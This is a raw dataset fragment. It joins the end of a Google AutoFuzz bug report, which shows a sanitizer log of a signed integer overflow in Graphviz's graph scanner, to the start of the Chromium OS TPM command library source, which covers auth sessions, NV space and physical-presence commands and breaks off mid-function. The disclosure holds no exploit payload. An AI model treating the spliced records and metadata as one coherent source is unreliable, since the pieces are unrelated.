signed integer overflow: -2147483648 - 1 cannot be represented in type 'int' SUMMARY: AddressSanitizer: undefined-behavior ../../lib/cgraph/scan.l:116:20 in INFO: Seed: 835891209 /fuzzing/graphviz/render_fuzzer: Running 1 inputs 1 time(s) each. Running: poc-19b0928da2bc1de39ea63bc68e9766561f7535a677a0f107cd1ab8e21d00fd65 ../../lib/cgraph/scan.l:116:20: runtime error: signed integer overflow: -2147483648 - 1 cannot be represented in type 'int' SUMMARY: AddressSanitizer: undefined-behavior ../../lib/cgraph/scan.l:116:20 in\nWe will gladly work with you so you can successfully confirm and reproduce this issue. Do let us know if you have any feedback surrounding the documentation.\nOnce you have reproduced the issue, we'd appreciate to learn your expected timeline for an update to be released. With any fix, please attribute the report to \"Google Autofuzz project\".\nWe are also pleased to inform you that your project is eligible for inclusion to the OSS-Fuzz project, which can provide additional continuous fuzzing, and encourage you to investigate integration options.\nDon't hesitate to let us know if you have any questions!\nGoogle AutoFuzz Team", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 682, "token_count_with_eod": 683, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/* Copyright (c) 2012 The Chromium OS Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n */\n\n/* A lightweight TPM command library.\n *\n * The general idea is that TPM commands are array of bytes whose\n * fields are mostly compile-time constant.  The goal is to build much\n * of the commands at compile time (or build time) and change some of\n * the fields at run time as needed.  The code in\n * utility/tlcl_generator.c builds structures containing the commands,\n * as well as the offsets of the fields that need to be set at run\n * time.\n */\n\n#include \"2sysincludes.h\"\n#include \"2common.h\"\n#include \"2hmac.h\"\n#include \"2sha.h\"\n\n#include \"sysincludes.h\"\n#include \"tlcl.h\"\n#include \"tlcl_internal.h\"\n#include \"tlcl_structures.h\"\n#include \"utility.h\"\n#include \"vboot_api.h\"\n\n/* Sets the size field of a TPM command. */\nstatic inline void SetTpmCommandSize(uint8_t* buffer, uint32_t size)\n{\n\tToTpmUint32(buffer + sizeof(uint16_t), size);\n}\n\n/* Gets the size field of a TPM command. */\n__attribute__((unused))\nstatic inline int TpmCommandSize(const uint8_t* buffer)\n{\n\tuint32_t size;\n\tFromTpmUint32(buffer + sizeof(uint16_t), &size);\n\treturn (int) size;\n}\n\n/* Gets the size field of a TPM request or response. */\nint TlclPacketSize(const uint8_t* packet)\n{\n\treturn TpmCommandSize(packet);\n}\n\n/* Gets the code field of a TPM command. */\nstatic inline int TpmCommandCode(const uint8_t* buffer)\n{\n\tuint32_t code;\n\tFromTpmUint32(buffer + sizeof(uint16_t) + sizeof(uint32_t), &code);\n\treturn code;\n}\n\n/* Gets the return code field of a TPM result. */\nstatic inline int TpmReturnCode(const uint8_t* buffer)\n{\n\treturn TpmCommandCode(buffer);\n}\n\n/* Like TlclSendReceive below, but do not retry if NEEDS_SELFTEST or\n * DOING_SELFTEST errors are returned.\n */\nstatic uint32_t TlclSendReceiveNoRetry(const uint8_t* request,\n\t\t\t\t       uint8_t* response, int max_length)\n{\n\n\tuint32_t response_length = max_length;\n\tuint32_t result;\n\n#ifdef EXTRA_LOGGING\n\tVB2_DEBUG(\"TPM: command: %x%x %x%x%x%x %x%x%x%x\\n\",\n\t\t  request[0], request[1],\n\t\t  request[2], request[3], request[4], request[5],\n\t\t  request[6], request[7], request[8], request[9]);\n#endif\n\n\tresult = VbExTpmSendReceive(request, TpmCommandSize(request),\n\t\t\t\t    response, &response_length);\n\tif (0 != result) {\n\t\t/* Communication with TPM failed, so response is garbage */\n\t\tVB2_DEBUG(\"TPM: command 0x%x send/receive failed: 0x%x\\n\",\n\t\t\t  TpmCommandCode(request), result);\n\t\treturn result;\n\t}\n\t/* Otherwise, use the result code from the response */\n\tresult = TpmReturnCode(response);\n\n\t/* TODO: add paranoia about returned response_length vs. max_length\n\t * (and possibly expected length from the response header).  See\n\t * crosbug.com/17017 */\n\n#ifdef EXTRA_LOGGING\n\tVB2_DEBUG(\"TPM: response: %x%x %x%x%x%x %x%x%x%x\\n\",\n\t\t  response[0], response[1],\n\t\t  response[2], response[3], response[4], response[5],\n\t\t  response[6], response[7], response[8], response[9]);\n#endif\n\n\tVB2_DEBUG(\"TPM: command 0x%x returned 0x%x\\n\",\n\t\t  TpmCommandCode(request), result);\n\n\treturn result;\n}\n\n/* Sends a TPM command and gets a response.  Returns 0 if success or the TPM\n * error code if error. In the firmware, waits for the self test to complete\n * if needed. In the host, reports the first error without retries. */\nuint32_t TlclSendReceive(const uint8_t* request, uint8_t* response,\n\t\t\t int max_length)\n{\n\tuint32_t result = TlclSendReceiveNoRetry(request, response, max_length);\n\t/* When compiling for the firmware, hide command failures due to the\n\t * self test not having run or completed. */\n#ifndef CHROMEOS_ENVIRONMENT\n\t/* If the command fails because the self test has not completed, try it\n\t * again after attempting to ensure that the self test has completed. */\n\tif (result == TPM_E_NEEDS_SELFTEST || result == TPM_E_DOING_SELFTEST) {\n\t\tresult = TlclContinueSelfTest();\n\t\tif (result != TPM_SUCCESS) {\n\t\t\treturn result;\n\t\t}\n#if defined(TPM_BLOCKING_CONTINUESELFTEST) || defined(VB_RECOVERY_MODE)\n\t\t/* Retry only once */\n\t\tresult = TlclSendReceiveNoRetry(request, response, max_length);\n#else\n\t\t/* This needs serious testing.  The TPM specification says:\n\t\t * \"iii. The caller MUST wait for the actions of\n\t\t * TPM_ContinueSelfTest to complete before reissuing the\n\t\t * command C1.\"  But, if ContinueSelfTest is non-blocking, how\n\t\t * do we know that the actions have completed other than trying\n\t\t * again? */\n\t\tdo {\n\t\t\tresult = TlclSendReceiveNoRetry(request, response,\n\t\t\t\t\t\t\tmax_length);\n\t\t} while (result == TPM_E_DOING_SELFTEST);\n#endif\n\t}\n#endif  /* ! defined(CHROMEOS_ENVIRONMENT) */\n\treturn result;\n}\n\n/* Sends a command and returns the error code. */\nstatic uint32_t Send(const uint8_t* command)\n{\n\tuint8_t response[TPM_LARGE_ENOUGH_COMMAND_SIZE];\n\treturn TlclSendReceive(command, response, sizeof(response));\n}\n\n#ifdef CHROMEOS_ENVIRONMENT\n\nstruct auth_session\n{\n\tuint32_t handle;\n\tTPM_NONCE nonce_even;\n\tTPM_NONCE nonce_odd;\n\tuint8_t shared_secret[TPM_AUTH_DATA_LEN];\n\tuint8_t valid;\n};\n\nstatic uint32_t StartOIAPSession(struct auth_session* session,\n\t\t\t\t const uint8_t secret[TPM_AUTH_DATA_LEN])\n{\n\tsession->valid = 0;\n\n\tuint8_t response[TPM_LARGE_ENOUGH_COMMAND_SIZE];\n\tuint32_t result = TlclSendReceive(tpm_oiap_cmd.buffer, response,\n\t\t\t\t\t  sizeof(response));\n\tif (result != TPM_SUCCESS) {\n\t\treturn result;\n\t}\n\n\tuint32_t size;\n\tFromTpmUint32(response + sizeof(uint16_t), &size);\n\tif (size < kTpmResponseHeaderLength + sizeof(uint32_t)\n\t\t\t+ sizeof(TPM_NONCE)) {\n\t\treturn TPM_E_INVALID_RESPONSE;\n\t}\n\n\tconst uint8_t* cursor = response + kTpmResponseHeaderLength;\n\tsession->handle = ReadTpmUint32(&cursor);\n\tmemcpy(session->nonce_even.nonce, cursor, sizeof(TPM_NONCE));\n\tcursor += sizeof(TPM_NONCE);\n\tVbAssert(cursor - response <= TPM_LARGE_ENOUGH_COMMAND_SIZE);\n\n\tmemcpy(session->shared_secret, secret, TPM_AUTH_DATA_LEN);\n\tsession->valid = 1;\n\n\treturn result;\n}\n\nstatic uint32_t StartOSAPSession(\n\t\tstruct auth_session* session,\n\t\tuint16_t entity_type,\n\t\tuint32_t entity_value,\n\t\tconst uint8_t entity_usage_auth[TPM_AUTH_DATA_LEN])\n{\n\tsession->valid = 0;\n\n\t/* Build OSAP command. */\n\tstruct s_tpm_osap_cmd cmd;\n\tmemcpy(&cmd, &tpm_osap_cmd, sizeof(cmd));\n\tToTpmUint16(cmd.buffer + cmd.entityType, entity_type);\n\tToTpmUint32(cmd.buffer + cmd.entityValue, entity_value);\n\tif (VbExTpmGetRandom(cmd.buffer + cmd.nonceOddOSAP,\n\t\t\t     sizeof(TPM_NONCE)) != VB2_SUCCESS) {\n\t\treturn TPM_E_INTERNAL_ERROR;\n\t}\n\n\t/* Send OSAP command. */\n\tuint8_t response[TPM_LARGE_ENOUGH_COMMAND_SIZE];\n\tuint32_t result = TlclSendReceive(cmd.buffer, response,\n\t\t\t\t\t  sizeof(response));\n\tif (result != TPM_SUCCESS) {\n\t\treturn result;\n\t}\n\n\t/* Parse response. */\n\tuint32_t size;\n\tFromTpmUint32(response + sizeof(uint16_t), &size);\n\tif (size < kTpmResponseHeaderLength + sizeof(uint32_t)\n\t\t\t+ 2 * sizeof(TPM_NONCE)) {\n\t\treturn TPM_E_INVALID_RESPONSE;\n\t}\n\n\tconst uint8_t* cursor = response + kTpmResponseHeaderLength;\n\tsession->handle = ReadTpmUint32(&cursor);\n\tmemcpy(session->nonce_even.nonce, cursor, sizeof(TPM_NONCE));\n\tcursor += sizeof(TPM_NONCE);\n\tconst uint8_t* nonce_even_osap = cursor;\n\tcursor += sizeof(TPM_NONCE);\n\tVbAssert(cursor - response <= TPM_LARGE_ENOUGH_COMMAND_SIZE);\n\n\t/* Compute shared secret */\n\tuint8_t hmac_input[2 * sizeof(TPM_NONCE)];\n\tmemcpy(hmac_input, nonce_even_osap, sizeof(TPM_NONCE));\n\tmemcpy(hmac_input + sizeof(TPM_NONCE), cmd.buffer + cmd.nonceOddOSAP,\n\t       sizeof(TPM_NONCE));\n\tif (hmac(VB2_HASH_SHA1, entity_usage_auth, TPM_AUTH_DATA_LEN,\n\t\t hmac_input, sizeof(hmac_input), session->shared_secret,\n\t\t sizeof(session->shared_secret))) {\n\t\treturn TPM_E_INTERNAL_ERROR;\n\t}\n\tsession->valid = 1;\n\n\treturn result;\n}\n\n/* Fills in the authentication block at the end of the command. The command body\n * should already be initialized in |command_buffer|, and the included command\n * size should account for the auth block that gets filled in. */\nuint32_t AddRequestAuthBlock(struct auth_session* auth_session,\n\t\t\t     uint8_t* command_buffer,\n\t\t\t     uint32_t command_buffer_size,\n\t\t\t     uint8_t continue_auth_session)\n{\n\tif (!auth_session->valid) {\n\t\treturn TPM_E_AUTHFAIL;\n\t}\n\n\t/* Sanity check to make sure the command buffer has sufficient space to\n\t * add the auth block at the end of the command. */\n\tif (command_buffer_size < kTpmRequestHeaderLength) {\n\t\treturn TPM_E_BUFFER_SIZE;\n\t}\n\tconst uint32_t size = TpmCommandSize(command_buffer);\n\tif (size < kTpmResponseHeaderLength + kTpmRequestAuthBlockLength ||\n\t    size > command_buffer_size) {\n\t\treturn TPM_E_INTERNAL_ERROR;\n\t}\n\tconst uint32_t auth_offset = size - kTpmRequestAuthBlockLength;\n\n\t/*\n\t * The digest of the command is computed over the command buffer, but\n\t * excluding the leading tag and paramSize fields.\n\t */\n\tstruct vb2_sha1_context sha1_ctx;\n\tvb2_sha1_init(&sha1_ctx);\n\tvb2_sha1_update(&sha1_ctx,\n\t\t\tcommand_buffer + sizeof(uint16_t) + sizeof(uint32_t),\n\t\t\tauth_offset - sizeof(uint16_t) - sizeof(uint32_t));\n\tuint8_t buf[TPM_SHA1_160_HASH_LEN + 2 * sizeof(TPM_NONCE) + 1];\n\tvb2_sha1_finalize(&sha1_ctx, buf);\n\n\t/* Generate a fresh nonce. */\n\tif (VbExTpmGetRandom(auth_session->nonce_odd.nonce,\n\t\t\t     sizeof(TPM_NONCE)) != VB2_SUCCESS) {\n\t\treturn TPM_E_INTERNAL_ERROR;\n\t}\n\n\t/* Append the authentication block to the command buffer. */\n\tuint8_t* cursor = command_buffer + auth_offset;\n\tToTpmUint32(cursor, auth_session->handle);\n\tcursor += sizeof(uint32_t);\n\tmemcpy(cursor, auth_session->nonce_odd.nonce, sizeof(TPM_NONCE));\n\tcursor += sizeof(TPM_NONCE);\n\t*cursor++ = continue_auth_session;\n\n\t/* Compute and append the MAC. */\n\tmemcpy(buf + TPM_SHA1_160_HASH_LEN, auth_session->nonce_even.nonce,\n\t       sizeof(TPM_NONCE));\n\tmemcpy(buf + TPM_SHA1_160_HASH_LEN + sizeof(TPM_NONCE),\n\t       auth_session->nonce_odd.nonce, sizeof(TPM_NONCE));\n\tbuf[TPM_SHA1_160_HASH_LEN + 2 * sizeof(TPM_NONCE)] =\n\t\t\tcontinue_auth_session;\n\tif (hmac(VB2_HASH_SHA1, auth_session->shared_secret,\n\t\t sizeof(auth_session->shared_secret), buf, sizeof(buf), cursor,\n\t\t TPM_SHA1_160_HASH_LEN)) {\n\t\treturn TPM_E_AUTHFAIL;\n\t}\n\tcursor += TPM_SHA1_160_HASH_LEN;\n\n\treturn TPM_SUCCESS;\n}\n\nuint32_t CheckResponseAuthBlock(struct auth_session* auth_session,\n\t\t\t\tTPM_COMMAND_CODE ordinal,\n\t\t\t\tuint8_t* response_buffer,\n\t\t\t\tuint32_t response_buffer_size)\n{\n\tif (!auth_session->valid) {\n\t\treturn TPM_E_AUTHFAIL;\n\t}\n\n\tif (response_buffer_size < kTpmResponseHeaderLength) {\n\t\treturn TPM_E_INVALID_RESPONSE;\n\t}\n\n\t/* Parse and validate the actual response size from the response. */\n\tuint32_t size;\n\tFromTpmUint32(response_buffer + sizeof(uint16_t), &size);\n\tif (size >= response_buffer_size ||\n\t    size < kTpmResponseHeaderLength + kTpmResponseAuthBlockLength) {\n\t\treturn TPM_E_INVALID_RESPONSE;\n\t}\n\tuint32_t auth_offset = size - kTpmResponseAuthBlockLength;\n\n\t/*\n\t * The digest of the response is computed over the return code, ordinal,\n\t * response payload.\n\t */\n\tstruct vb2_sha1_context sha1_ctx;\n\tvb2_sha1_init(&sha1_ctx);\n\tvb2_sha1_update(&sha1_ctx,\n\t\t\tresponse_buffer + sizeof(uint16_t) + sizeof(uint32_t),\n\t\t\tsizeof(uint32_t));\n\tuint8_t ordinal_buf[sizeof(ordinal)];\n\tToTpmUint32(ordinal_buf, ordinal);\n\tvb2_sha1_update(&sha1_ctx, ordinal_buf, sizeof(ordinal_buf));\n\tvb2_sha1_update(&sha1_ctx,\n\t\t\tresponse_buffer + kTpmResponseHeaderLength,\n\t\t\tauth_offset - kTpmResponseHeaderLength);\n\tuint8_t hmac_input[TPM_SHA1_160_HASH_LEN + 2 * sizeof(TPM_NONCE) + 1];\n\tvb2_sha1_finalize(&sha1_ctx, hmac_input);\n\n\t/* Compute the MAC. */\n\tuint8_t* cursor = response_buffer + auth_offset;\n\tmemcpy(hmac_input + TPM_SHA1_160_HASH_LEN, cursor, sizeof(TPM_NONCE));\n\tcursor += sizeof(TPM_NONCE);\n\tmemcpy(hmac_input + TPM_SHA1_160_HASH_LEN + sizeof(TPM_NONCE),\n\t       auth_session->nonce_odd.nonce, sizeof(TPM_NONCE));\n\tauth_session->valid = *cursor++;\n\thmac_input[TPM_SHA1_160_HASH_LEN + 2 * sizeof(TPM_NONCE)] =\n\t\t\tauth_session->valid;\n\tuint8_t mac[TPM_SHA1_160_HASH_LEN];\n\tif (hmac(VB2_HASH_SHA1, auth_session->shared_secret,\n\t\t sizeof(auth_session->shared_secret), hmac_input,\n\t\t sizeof(hmac_input), mac, sizeof(mac))) {\n\t\tauth_session->valid = 0;\n\t\treturn TPM_E_AUTHFAIL;\n\t}\n\n\t/* Check the MAC. */\n\tif (vb2_safe_memcmp(mac, cursor, sizeof(mac))) {\n\t\tauth_session->valid = 0;\n\t\treturn TPM_E_AUTHFAIL;\n\t}\n\n\t/* Success, save the even nonce. */\n\tmemcpy(auth_session->nonce_even.nonce, response_buffer + auth_offset,\n\t       sizeof(TPM_NONCE));\n\n\treturn TPM_SUCCESS;\n}\n\n#endif  /* CHROMEOS_ENVIRONMENT */\n\n/* Exported functions. */\n\nuint32_t TlclLibInit(void)\n{\n\treturn VbExTpmInit();\n}\n\nuint32_t TlclLibClose(void)\n{\n\treturn VbExTpmClose();\n}\n\nuint32_t TlclStartup(void)\n{\n\tVB2_DEBUG(\"TPM: Startup\\n\");\n\treturn Send(tpm_startup_cmd.buffer);\n}\n\nuint32_t TlclSaveState(void)\n{\n\tVB2_DEBUG(\"TPM: SaveState\\n\");\n\treturn Send(tpm_savestate_cmd.buffer);\n}\n\nuint32_t TlclResume(void)\n{\n\tVB2_DEBUG(\"TPM: Resume\\n\");\n\treturn Send(tpm_resume_cmd.buffer);\n}\n\nuint32_t TlclSelfTestFull(void)\n{\n\tVB2_DEBUG(\"TPM: Self test full\\n\");\n\treturn Send(tpm_selftestfull_cmd.buffer);\n}\n\nuint32_t TlclContinueSelfTest(void)\n{\n\tuint8_t response[TPM_LARGE_ENOUGH_COMMAND_SIZE];\n\tVB2_DEBUG(\"TPM: Continue self test\\n\");\n\t/* Call the No Retry version of SendReceive to avoid recursion. */\n\treturn TlclSendReceiveNoRetry(tpm_continueselftest_cmd.buffer,\n\t\t\t\t      response, sizeof(response));\n}\n\nuint32_t TlclDefineSpace(uint32_t index, uint32_t perm, uint32_t size)\n{\n\tVB2_DEBUG(\"TPM: TlclDefineSpace(0x%x, 0x%x, %d)\\n\", index, perm, size);\n\treturn TlclDefineSpaceEx(NULL, 0, index, perm, size, NULL, 0);\n}\n\n#ifdef CHROMEOS_ENVIRONMENT\n\nuint32_t TlclUndefineSpace(uint32_t index)\n{\n\tVB2_DEBUG(\"TPM: TlclUndefineSpace(0x%x)\\n\", index);\n\treturn TlclUndefineSpaceEx(NULL, 0, index);\n}\n\nuint32_t TlclUndefineSpaceEx(const uint8_t* owner_auth,\n\t\t\t     uint32_t owner_auth_size,\n\t\t\t     uint32_t index)\n{\n\treturn TlclDefineSpaceEx(owner_auth, owner_auth_size,\n\t\t\t\t index, 0, 0,\n\t\t\t\t NULL, 0);\n}\n\n#endif  /* CHROMEOS_ENVIRONMENT */\n\nuint32_t TlclDefineSpaceEx(const uint8_t* owner_auth, uint32_t owner_auth_size,\n\t\t\t   uint32_t index, uint32_t perm, uint32_t size,\n\t\t\t   const void* auth_policy, uint32_t auth_policy_size)\n{\n\tuint32_t result;\n\n\t/* Build the request data. */\n\tuint8_t cmd[sizeof(tpm_nv_definespace_cmd.buffer) +\n\t\t\tkTpmRequestAuthBlockLength];\n\tmemcpy(cmd, &tpm_nv_definespace_cmd, sizeof(tpm_nv_definespace_cmd));\n\tToTpmUint32(cmd + tpm_nv_definespace_cmd.index, index);\n\tToTpmUint32(cmd + tpm_nv_definespace_cmd.perm, perm);\n\tToTpmUint32(cmd + tpm_nv_definespace_cmd.size, size);\n\tif (auth_policy != NULL) {\n\t\tif (auth_policy_size != sizeof(TPM_NV_AUTH_POLICY)) {\n\t\t\treturn TPM_E_BUFFER_SIZE;\n\t\t}\n\n\t\tconst TPM_NV_AUTH_POLICY* policy = auth_policy;\n\t\tmemcpy(cmd + tpm_nv_definespace_cmd.pcr_info_read,\n\t\t       &policy->pcr_info_read, sizeof(policy->pcr_info_read));\n\t\tmemcpy(cmd + tpm_nv_definespace_cmd.pcr_info_write,\n\t\t       &policy->pcr_info_write, sizeof(policy->pcr_info_write));\n\t}\n\n#ifdef CHROMEOS_ENVIRONMENT\n\tstruct auth_session auth_session;\n\tif (owner_auth) {\n\t\tif (owner_auth_size != TPM_AUTH_DATA_LEN) {\n\t\t\treturn TPM_E_AUTHFAIL;\n\t\t}\n\n\t\tresult = StartOSAPSession(&auth_session, TPM_ET_OWNER, 0,\n\t\t\t\t\t  owner_auth);\n\t\tif (result != TPM_SUCCESS) {\n\t\t\treturn result;\n\t\t}\n\n\t\tToTpmUint32(cmd + sizeof(uint16_t), sizeof(cmd));\n\t\tToTpmUint16(cmd, TPM_TAG_RQU_AUTH1_COMMAND);\n\t\tresult = AddRequestAuthBlock(&auth_session, cmd, sizeof(cmd),\n\t\t\t\t\t     0);\n\t\tif (result != TPM_SUCCESS) {\n\t\t\treturn result;\n\t\t}\n\t}\n#endif\n\n\t/* Send the command. */\n\tuint8_t response[TPM_LARGE_ENOUGH_COMMAND_SIZE];\n\tresult = TlclSendReceive(cmd, response, sizeof(response));\n\tif (result != TPM_SUCCESS) {\n\t\treturn result;\n\t}\n\n#ifdef CHROMEOS_ENVIRONMENT\n\tif (owner_auth) {\n\t\tresult = CheckResponseAuthBlock(&auth_session,\n\t\t\t\t\t\tTPM_ORD_NV_DefineSpace,\n\t\t\t\t\t\tresponse, sizeof(response));\n\t}\n#endif\n\n\treturn result;\n}\n\nuint32_t TlclInitNvAuthPolicy(uint32_t pcr_selection_bitmap,\n\t\t\t      const uint8_t pcr_values[][TPM_PCR_DIGEST],\n\t\t\t      void* auth_policy, uint32_t* auth_policy_size)\n{\n\tuint32_t buffer_size = *auth_policy_size;\n\t*auth_policy_size = sizeof(TPM_NV_AUTH_POLICY);\n\tif (!auth_policy || buffer_size < sizeof(TPM_NV_AUTH_POLICY)) {\n\t\treturn TPM_E_BUFFER_SIZE;\n\t}\n\tTPM_NV_AUTH_POLICY* policy = auth_policy;\n\n\t/* Note that although the struct definition allocates space for 3 bytes\n\t * worth of PCR selection, it is technically a variably-sized field in\n\t * the TPM structure definition. Since this is part of the policy\n\t * digest, we need to carefully match our selection sizes. For now, we\n\t * use 3 bytes, which aligns with TrouSerS behavior. */\n\tTPM_PCR_SELECTION* select = &policy->pcr_info_read.pcrSelection;\n\tToTpmUint16((uint8_t*)&select->sizeOfSelect, sizeof(select->pcrSelect));\n\tselect->pcrSelect[0] = (pcr_selection_bitmap >> 0) & 0xff;\n\tselect->pcrSelect[1] = (pcr_selection_bitmap >> 8) & 0xff;\n\tselect->pcrSelect[2] = (pcr_selection_bitmap >> 16) & 0xff;\n\tVbAssert((pcr_selection_bitmap & 0xff000000) == 0);\n\n\t/* Allow all localities except locality 3. Rationale:\n\t *\n\t * We don't actually care about restricting NVRAM access to specific\n\t * localities. In fact localities aren't used in Chrome OS and locality\n\t * 0 is used for everything.\n\t *\n\t * However, the TPM specification makes an effort to not allow NVRAM\n\t * spaces that do not have some write access control configured: When\n\t * defining a space, either at least one of OWNERWRITE, AUTHWRITE,\n\t * WRITEDEFINE, PPWRITE or a locality restriction must be specified (See\n\t * TPM_NV_DefineSpace command description in the spec).\n\t *\n\t * This complicates matters when defining an NVRAM space that should be\n\t * writable and lockable (for the remainder of the boot cycle) by the OS\n\t * even when the TPM is not owned:\n\t *  * OWNERWRITE doesn't work because there might be no owner.\n\t *  * PPWRITE restricts writing to firmware only.\n\t *  * Use of WRITEDEFINE prevents use of WRITE_STCLEAR (i.e. the space\n\t *    can either not be locked, or it would remain locked until next TPM\n\t *    clear).\n\t *  * AUTHWRITE looks workable at first sight (by setting a well-known\n\t *    auth secret). However writes must use TPM_NV_WriteValueAuth, which\n\t *    only works when the TPM is owned. Interestingly, the spec admits\n\t *    to that being a mistake in the TPM_NV_WriteValueAuth comment but\n\t *    asserts that the behavior is normative.\n\t *\n\t * Having ruled out all attributes, we're left with locality restriction\n\t * as the only option to pass the access control requirement check in\n\t * TPM_NV_DefineSpace. We choose to disallow locality 3, since that is\n\t * the most unlikely one to be used in practice, i.e. the spec says\n\t * locality 3 is for \"Auxiliary components. Use of this is optional and,\n\t * if used, it is implementation dependent.\"\n\t */\n\tpolicy->pcr_info_read.localityAtRelease =\n\t\tTPM_ALL_LOCALITIES & ~TPM_LOC_THREE;\n\n\tstruct vb2_sha1_context sha1_ctx;\n\tvb2_sha1_init(&sha1_ctx);\n\n\tvb2_sha1_update(&sha1_ctx,\n\t\t\t(const uint8_t*)&policy->pcr_info_read.pcrSelection,\n\t\t\tsizeof(policy->pcr_info_read.pcrSelection));\n\n\tuint32_t num_pcrs = 0;\n\tint i;\n\tfor (i = 0; i < sizeof(pcr_selection_bitmap) * 8; ++i) {\n\t\tif ((1 << i) & pcr_selection_bitmap) {\n\t\t\tnum_pcrs++;\n\t\t}\n\t}\n\n\tuint8_t pcrs_size[sizeof(uint32_t)];\n\tToTpmUint32(pcrs_size, num_pcrs * TPM_PCR_DIGEST);\n\tvb2_sha1_update(&sha1_ctx, pcrs_size, sizeof(pcrs_size));\n\n\tfor (i = 0; i < num_pcrs; ++i) {\n\t\tvb2_sha1_update(&sha1_ctx, pcr_values[i], TPM_PCR_DIGEST);\n\t}\n\n\tvb2_sha1_finalize(&sha1_ctx,\n\t\t\t  policy->pcr_info_read.digestAtRelease.digest);\n\n\t/* Make the write policy an identical copy of the read auth policy. */\n\tmemcpy(&policy->pcr_info_write, &policy->pcr_info_read,\n\t       sizeof(policy->pcr_info_read));\n\n\treturn TPM_SUCCESS;\n}\n\nuint32_t TlclWrite(uint32_t index, const void* data, uint32_t length)\n{\n\tstruct s_tpm_nv_write_cmd cmd;\n\tuint8_t response[TPM_LARGE_ENOUGH_COMMAND_SIZE];\n\tconst int total_length =\n\t\t\tkTpmRequestHeaderLength + kWriteInfoLength + length;\n\n\tVB2_DEBUG(\"TPM: TlclWrite(0x%x, %d)\\n\", index, length);\n\tmemcpy(&cmd, &tpm_nv_write_cmd, sizeof(cmd));\n\tVbAssert(total_length <= TPM_LARGE_ENOUGH_COMMAND_SIZE);\n\tSetTpmCommandSize(cmd.buffer, total_length);\n\n\tToTpmUint32(cmd.buffer + tpm_nv_write_cmd.index, index);\n\tToTpmUint32(cmd.buffer + tpm_nv_write_cmd.length, length);\n\tmemcpy(cmd.buffer + tpm_nv_write_cmd.data, data, length);\n\n\treturn TlclSendReceive(cmd.buffer, response, sizeof(response));\n}\n\nuint32_t TlclRead(uint32_t index, void* data, uint32_t length)\n{\n\tstruct s_tpm_nv_read_cmd cmd;\n\tuint8_t response[TPM_LARGE_ENOUGH_COMMAND_SIZE];\n\tuint32_t result;\n\n\tVB2_DEBUG(\"TPM: TlclRead(0x%x, %d)\\n\", index, length);\n\tmemcpy(&cmd, &tpm_nv_read_cmd, sizeof(cmd));\n\tToTpmUint32(cmd.buffer + tpm_nv_read_cmd.index, index);\n\tToTpmUint32(cmd.buffer + tpm_nv_read_cmd.length, length);\n\n\tresult = TlclSendReceive(cmd.buffer, response, sizeof(response));\n\tif (result == TPM_SUCCESS && length > 0) {\n\t\tconst uint8_t* nv_read_cursor =\n\t\t\t\tresponse + kTpmResponseHeaderLength;\n\t\tuint32_t result_length = ReadTpmUint32(&nv_read_cursor);\n\t\tif (result_length > length)\n\t\t\tresult_length = length;  /* Truncate to fit buffer */\n\t\tmemcpy(data, nv_read_cursor, result_length);\n\t}\n\n\treturn result;\n}\n\nuint32_t TlclPCRRead(uint32_t index, void* data, uint32_t length)\n{\n\tstruct s_tpm_pcr_read_cmd cmd;\n\tuint8_t response[TPM_LARGE_ENOUGH_COMMAND_SIZE];\n\tuint32_t result;\n\n\tVB2_DEBUG(\"TPM: TlclPCRRead(0x%x, %d)\\n\", index, length);\n\tif (length < kPcrDigestLength) {\n\t\treturn TPM_E_IOERROR;\n\t}\n\tmemcpy(&cmd, &tpm_pcr_read_cmd, sizeof(cmd));\n\tToTpmUint32(cmd.buffer + tpm_pcr_read_cmd.pcrNum, index);\n\n\tresult = TlclSendReceive(cmd.buffer, response, sizeof(response));\n\tif (result == TPM_SUCCESS) {\n\t\tconst uint8_t* pcr_read_cursor =\n\t\t\t\tresponse + kTpmResponseHeaderLength;\n\t\tmemcpy(data, pcr_read_cursor, kPcrDigestLength);\n\t}\n\n\treturn result;\n}\n\nuint32_t TlclWriteLock(uint32_t index)\n{\n\tVB2_DEBUG(\"TPM: Write lock 0x%x\\n\", index);\n\treturn TlclWrite(index, NULL, 0);\n}\n\nuint32_t TlclReadLock(uint32_t index)\n{\n\tVB2_DEBUG(\"TPM: Read lock 0x%x\\n\", index);\n\treturn TlclRead(index, NULL, 0);\n}\n\nuint32_t TlclAssertPhysicalPresence(void)\n{\n\tVB2_DEBUG(\"TPM: Asserting physical presence\\n\");\n\treturn Send(tpm_ppassert_cmd.buffer);\n}\n\nuint32_t TlclPhysicalPresenceCMDEnable(void)\n{\n\tVB2_DEBUG(\"TPM: Enable the physical presence command\\n\");\n\treturn Send(tpm_ppenable_cmd.buffer);\n}\n\nuint32_t TlclFinalizePhysicalPresence(void)\n{\n\tVB2_DEBUG(\"TPM: Enable PP cmd, disable HW pp, and set lifetime lock\\n\");\n\treturn Send(tpm_finalizepp_cmd.buffer);\n}\n\nuint32_t TlclAssertPhysicalPresenceResult(void)\n{\n\tuint8_t response[TPM_LARGE_ENOUGH_COMMAND_SIZE];\n\treturn TlclSendReceive(tpm_ppassert_cmd.buffer, response,\n\t\t\t       sizeof(response));\n}\n\nuint32_t TlclLockPhysicalPresence(void)\n{\n\tVB2_DEBUG(\"TPM: Lock physical presence\\n\");\n\treturn Send(tpm_pplock_cmd.buffer);\n}\n\nuint32_t TlclSetNvLocked(void)\n{\n\tVB2_DEBUG(\"TPM: Set NV locked\\n\");\n\treturn TlclDefineSpace(TPM_NV_INDEX_LOCK, 0, 0);\n}\n\nint TlclIsOwned(void)\n{\n\tuint8_t response[TPM_LARGE_ENOUGH_COMMAND_SIZE + TPM_PUBEK_SIZE];\n\tuint32_t result;\n\tresult = TlclSendReceive(tpm_readpubek_cmd.buffer,\n\t\t\t\t response, sizeof(response));\n\treturn (result != TPM_SUCCESS);\n}\n\nuint32_t TlclForceClear(void)\n{\n\tVB2_DEBUG(\"TPM: Force clear\\n\");\n\treturn Send(tpm_forceclear_cmd.buffer);\n}\n\nuint32_t TlclSetEnable(void)\n{\n\tVB2_DEBUG(\"TPM: Enabling TPM\\n\");\n\treturn Send(tpm_physicalenable_cmd.buffer);\n}\n\nuint32_t TlclClearEnable(void)\n{\n\tVB2_DEBUG(\"TPM: Disabling TPM\\n\");\n\treturn Send(tpm_physicaldisable_cmd.buffer);\n}\n\nuint32_t TlclSetDeactivated(uint8_t flag)\n{\n\tstruct s_tpm_physicalsetdeactivated_cmd 